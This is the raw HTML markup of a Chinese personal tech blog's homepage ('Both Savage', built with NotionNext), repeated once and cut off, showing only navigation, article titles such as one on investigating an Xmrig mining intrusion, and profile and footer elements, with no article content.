text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/category"><div><div class="fas fa-th text-center w-3 mr-3 text-xs"></div>文章分类</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/tag"><div><div class="fas fa-tag text-center w-3 mr-3 text-xs"></div>文章标签</div></a></div></div></nav></div></div><div class="flex w-full h-14 shadow glassmorphism bg-white dark:bg-hexo-black-gray px-7 items-between"><div id="top-wrapper" class="w-full flex items-center"><div class="cursor-pointer md:hidden text-xl pr-3 hover:scale-110 duration-150"><i class="fa-solid fa-indent"></i></div><a class="flex text-md md:text-xl dark:text-gray-200" href="/"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="24" height="24" class="mr-2 hidden md:block"/>Both Savage</a></div><div class="mr-1 flex md:hidden justify-end items-center space-x-4 font-serif dark:text-gray-200"><div class="flex text-md items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div><div class="cursor-pointer text-lg hover:scale-110 duration-150"><i class="fa-solid fa-ellipsis-vertical"></i></div></div><div class="hidden md:flex"><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><a target="_blank" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github"></i> <!-- -->Github</a></div></li><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><div><i class="fas fa-archive"></i> <!-- -->往期整理<i class="px-2 fas fa-chevron-down duration-500 transition-all "></i></div></div><ul class="invisible opacity-0 top-10  border-gray-100  bg-white  dark:bg-black dark:border-gray-800 transition-all duration-300 z-20 absolute block drop-shadow-lg "><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/archive"><span class="text-xs font-extralight"><i class="fas fa-clock-rotate-left">   </i>历史归档</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/category"><span class="text-xs font-extralight"><i class="fas fa-th">   </i>文章分类</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/tag"><span class="text-xs font-extralight"><i class="fas fa-tag">   </i>文章标签</span></a></li></ul></li><div class="text-sm flex items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div></div></div></div><main id="wrapper" class="relative flex justify-between w-full h-full mx-auto"><div class="font-sans hidden md:block border-r dark:border-transparent relative z-10 "><div class="w-72 py-14 px-6 sticky top-0 overflow-y-scroll h-screen scroll-hidden"><div class="flex w-full"><input type="text" class="my-3 rounded-md outline-none w-full text-sm pl-2 transition focus:shadow-lg font-light leading-10 text-black bg-gray-100 dark:bg-gray-900 dark:text-white"/><div class="flex -ml-8 cursor-pointer float-right items-center justify-center py-2"><i class="hover:text-black transform duration-200 text-gray-500  dark:hover:text-gray-300 cursor-pointer fas fa-search"></i></div></div><div class="mb-20"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div><div class="w-72 fixed left-0 bottom-0 z-20 bg-white"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div id="center-wrapper" class="flex flex-col justify-between w-full relative z-10 pt-14 min-h-screen"><div id="container-inner" class="w-full px-7 max-w-3xl justify-center mx-auto"><div class="transition ease-in-out duration-700 transform order-first opacity-0 translate-y-16"></div><div id="jump-to-top" data-aos="fade-up" data-aos-duration="300" data-aos-once="false" data-aos-anchor-placement="top-center" class="fixed xl:right-80 right-2 mr-10 bottom-24 z-20"><i class="fas fa-chevron-up cursor-pointer p-2 rounded-full border bg-white dark:bg-hexo-black-gray"></i></div></div><div class="md:hidden"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div style="width:32rem" class="hidden xl:block dark:border-transparent relative z-10 "><div class="py-14 px-6 sticky top-0"><div class="py-4"><div id="info-card" class="py-4"><div class="items-center justify-center"><div class="hover:scale-105 transform duration-200 cursor-pointer flex justify-center"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="120" class="rounded-full"/></div><div class="text-xl py-2 hover:scale-105 transform duration-200 flex justify-center dark:text-gray-300">Both Savage</div><div class="font-light text-gray-600 mb-2 hover:scale-105 transform duration-200 flex justify-center dark:text-gray-400">talk is cheap</div><div class="space-x-3 text-xl text-gray-600 dark:text-gray-400 flex-wrap flex justify-center "><a target="_blank" rel="noreferrer" title="github" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github transform hover:scale-125 duration-150 hover:text-green-600"></i></a><a target="_blank" rel="noreferrer" title="email" href="mailto:bothsavage@163.com"><i class="fas fa-envelope transform hover:scale-125 duration-150 hover:text-green-600"></i></a></div></div></div></div></div></div></main><div id="gitbook-left-float" class="fixed top-0 left-0 z-40 md:hidden"><div class="-ml-80 animate__slideOutLeft overflow-y-hidden shadow-card w-72 duration-200 fixed left-1 top-16 rounded py-2 bg-white dark:bg-gray-600"><div class="dark:text-gray-400 text-gray-600 h-96 overflow-y-scroll p-3"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div></div><div id="left-drawer-background" class="hidden fixed top-0 left-0 z-30 w-full h-full"></div></div><script async="" src="https://www.googletagmanager.com/gtag/js?id=G-XT4YTFWNBG"></script><script async="">
+<!DOCTYPE html><html lang="zh-CN"><head><title>Both Savage | talk is cheap</title><meta name="theme-color" content="#000000"/><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0, minimum-scale=1.0"/><meta name="robots" content="follow, index"/><meta charSet="UTF-8"/><meta name="keywords" content="Notion, 博客"/><meta name="description" content="talk is cheap"/><meta property="og:locale" content="en_US"/><meta property="og:title" content="Both Savage | talk is cheap"/><meta property="og:description" content="talk is cheap"/><meta property="og:url" content="https://bothsavage.github.io//"/><meta property="og:image" content="https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg"/><meta property="og:site_name" content="Both Savage"/><meta property="og:type" content="website"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:description" content="talk is cheap"/><meta name="twitter:title" content="Both Savage | talk is cheap"/><meta name="referrer" content="no-referrer-when-downgrade"/><meta name="next-head-count" content="18"/><link rel="icon" href="/favicon.ico"/><link rel="preload" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" as="style" crossorigin="anonymous"/><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" crossorigin="anonymous" referrerPolicy="no-referrer"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css?family=Bitter&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Sans+SC:wght@300&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Serif+SC:wght@300&amp;display=swap"/><link data-next-font="" rel="preconnect" href="/" crossorigin="anonymous"/><link rel="preload" href="/_next/static/css/06c69360ab4a808f.css" as="style" crossorigin=""/><link rel="stylesheet" href="/_next/static/css/06c69360ab4a808f.css" crossorigin="" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" crossorigin="" nomodule="" src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js"></script><script src="/_next/static/chunks/webpack-3c2098fe4d6464d4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/framework-b7fa4bf8e1ae99a1.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/main-30e956e31ac22080.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/_app-e7616ab64265e571.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/index-eb0ce45dfd226ae0.js" defer="" crossorigin=""></script><script src="/_next/static/mm0_cWkCfdum_vxo9wL_b/_buildManifest.js" defer="" crossorigin=""></script><script src="/_next/static/mm0_cWkCfdum_vxo9wL_b/_ssgManifest.js" defer="" crossorigin=""></script><style id="__jsx-763a7ba965151bca">.dark body{background-color:black}</style></head><body class="font-sans font-light scroll-smooth"><div id="__next"><div id="theme-gitbook" class="bg-white dark:bg-hexo-black-gray w-full h-full min-h-screen justify-center dark:text-gray-300"><div id="top-nav" class="fixed top-0 w-full z-40 undefined"><div style="height:0px;will-change:height" class="md:hidden overflow-hidden duration-200 "><div class="bg-white dark:bg-hexo-black-gray pt-1 py-2 lg:hidden "><nav id="nav" class=" text-md"><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><a target="_blank" class="py-2 w-full my-auto items-center justify-between flex  " href="https://github.com/BOTHSAVAGE"><div><div class="fab fa-github text-center w-4 mr-4"></div>Github</div></a></div><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><div class="py-2 font-extralight flex justify-between cursor-pointer  dark:text-gray-200 no-underline tracking-widest"><div><div class="fas fa-archive text-center w-4 mr-4"></div>往期整理</div><div class="inline-flex items-center "><i class="px-2 fas fa-chevron-right transition-all duration-200 "></i></div></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/archive"><div><div class="fas fa-clock-rotate-left text-center w-3 mr-3 text-xs"></div>历史归档</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/category"><div><div class="fas fa-th text-center w-3 mr-3 text-xs"></div>文章分类</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/tag"><div><div class="fas fa-tag text-center w-3 mr-3 text-xs"></div>文章标签</div></a></div></div></nav></div></div><div class="flex w-full h-14 shadow glassmorphism bg-white dark:bg-hexo-black-gray px-7 items-between"><div id="top-wrapper" class="w-full flex items-center"><div class="cursor-pointer md:hidden text-xl pr-3 hover:scale-110 duration-150"><i class="fa-solid fa-indent"></i></div><a class="flex text-md md:text-xl dark:text-gray-200" href="/"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="24" height="24" class="mr-2 hidden md:block"/>Both Savage</a></div><div class="mr-1 flex md:hidden justify-end items-center space-x-4 font-serif dark:text-gray-200"><div class="flex text-md items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div><div class="cursor-pointer text-lg hover:scale-110 duration-150"><i class="fa-solid fa-ellipsis-vertical"></i></div></div><div class="hidden md:flex"><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><a target="_blank" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github"></i> <!-- -->Github</a></div></li><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><div><i class="fas fa-archive"></i> <!-- -->往期整理<i class="px-2 fas fa-chevron-down duration-500 transition-all "></i></div></div><ul class="invisible opacity-0 top-10  border-gray-100  bg-white  dark:bg-black dark:border-gray-800 transition-all duration-300 z-20 absolute block drop-shadow-lg "><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/archive"><span class="text-xs font-extralight"><i class="fas fa-clock-rotate-left">   </i>历史归档</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/category"><span class="text-xs font-extralight"><i class="fas fa-th">   </i>文章分类</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/tag"><span class="text-xs font-extralight"><i class="fas fa-tag">   </i>文章标签</span></a></li></ul></li><div class="text-sm flex items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div></div></div></div><main id="wrapper" class="relative flex justify-between w-full h-full mx-auto"><div class="font-sans hidden md:block border-r dark:border-transparent relative z-10 "><div class="w-72 py-14 px-6 sticky top-0 overflow-y-scroll h-screen scroll-hidden"><div class="flex w-full"><input type="text" class="my-3 rounded-md outline-none w-full text-sm pl-2 transition focus:shadow-lg font-light leading-10 text-black bg-gray-100 dark:bg-gray-900 dark:text-white"/><div class="flex -ml-8 cursor-pointer float-right items-center justify-center py-2"><i class="hover:text-black transform duration-200 text-gray-500  dark:hover:text-gray-300 cursor-pointer fas fa-search"></i></div></div><div class="mb-20"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div><div class="w-72 fixed left-0 bottom-0 z-20 bg-white"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div id="center-wrapper" class="flex flex-col justify-between w-full relative z-10 pt-14 min-h-screen"><div id="container-inner" class="w-full px-7 max-w-3xl justify-center mx-auto"><div class="transition ease-in-out duration-700 transform order-first opacity-0 translate-y-16"></div><div id="jump-to-top" data-aos="fade-up" data-aos-duration="300" data-aos-once="false" data-aos-anchor-placement="top-center" class="fixed xl:right-80 right-2 mr-10 bottom-24 z-20"><i class="fas fa-chevron-up cursor-pointer p-2 rounded-full border bg-white dark:bg-hexo-black-gray"></i></div></div><div class="md:hidden"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div style="width:32rem" class="hidden xl:block dark:border-transparent relative z-10 "><div class="py-14 px-6 sticky top-0"><div class="py-4"><div id="info-card" class="py-4"><div class="items-center justify-center"><div class="hover:scale-105 transform duration-200 cursor-pointer flex justify-center"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="120" class="rounded-full"/></div><div class="text-xl py-2 hover:scale-105 transform duration-200 flex justify-center dark:text-gray-300">Both Savage</div><div class="font-light text-gray-600 mb-2 hover:scale-105 transform duration-200 flex justify-center dark:text-gray-400">talk is cheap</div><div class="space-x-3 text-xl text-gray-600 dark:text-gray-400 flex-wrap flex justify-center "><a target="_blank" rel="noreferrer" title="github" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github transform hover:scale-125 duration-150 hover:text-green-600"></i></a><a target="_blank" rel="noreferrer" title="email" href="mailto:bothsavage@163.com"><i class="fas fa-envelope transform hover:scale-125 duration-150 